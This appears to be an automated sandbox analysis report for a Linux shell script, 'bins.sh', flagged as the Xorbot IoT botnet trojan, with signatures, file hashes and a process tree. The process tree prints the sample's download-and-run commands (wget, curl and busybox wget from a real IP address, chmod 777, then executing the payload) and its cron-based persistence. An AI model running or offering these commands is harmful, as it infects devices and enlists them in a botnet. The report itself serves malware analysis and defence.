Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    03/12/2024, 08:21

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General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    cf70d58f95757ee8960c21dc3c7551eb

  • SHA1

    0c40b1cd7245f052bf82533610cb2d05b9ed349f

  • SHA256

    3d0da0f02fc31c2ea115a328dc878c8b41ff796faab9348025f38520d6ddb315

  • SHA512

    5eacf2de8727fc9fc5e44885fcb310e06826869079d0e8fdf752cbe4eab4cb7403f261657a15c31279eb0e14411b4c03ba0054c45d6c54ea60c4cb538ddf7941

  • SSDEEP

    192:0VdnWFAfPfLfluf6B2Ik8VF+UIk8VFFfPfLfluf6RL:0VdnWF0aDL

Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Contacts a large (2053) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:666
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Writes file to tmp directory
          PID:673
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Checks CPU configuration
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Writes file to tmp directory
          PID:698
        • /bin/chmod
          chmod 777 YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • File and Directory Permissions Modification
          PID:700
        • /tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          ./YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:701
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:703
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:704
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:705
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:706
            • /bin/rm
              rm YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
              2⤵
                PID:708
              • /usr/bin/wget
                wget http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
                2⤵
                  PID:711
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/K2NY5ppDLnwyGaXQ3z3mQdU4ZOqs8AObis
                  2⤵
                    PID:712

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/YGgRIVmG76UVz4jU8WAzKKyollxFElZ7Qe
                  Filesize

                  141KB

                  MD5

                  3ca8decdb1e52c423c521bfff02ac200

                  SHA1

                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                  SHA256

                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                  SHA512

                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

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                • /var/spool/cron/crontabs/tmp.2WRzzT
                  Filesize

                  210B

                  MD5

                  7fe6eebf15a3efe0aa3672d0e431cc83

                  SHA1

                  21858cdd58fbfd7ebb02c52ba4a6b421f2032669

                  SHA256

                  1647c4b76fa0e468d94a37eaeedba13262d00119d51fb87ef46476d64d7ee2da

                  SHA512

                  61b59d2ea62ae4e76707e961294afd4b21585c3b7c23936a68ff4bf5c81d9122dc19ec6733ea06792a28e7fb18fcae6993b34f19ed6836d7d89040c858bd05d8

                  Download Submit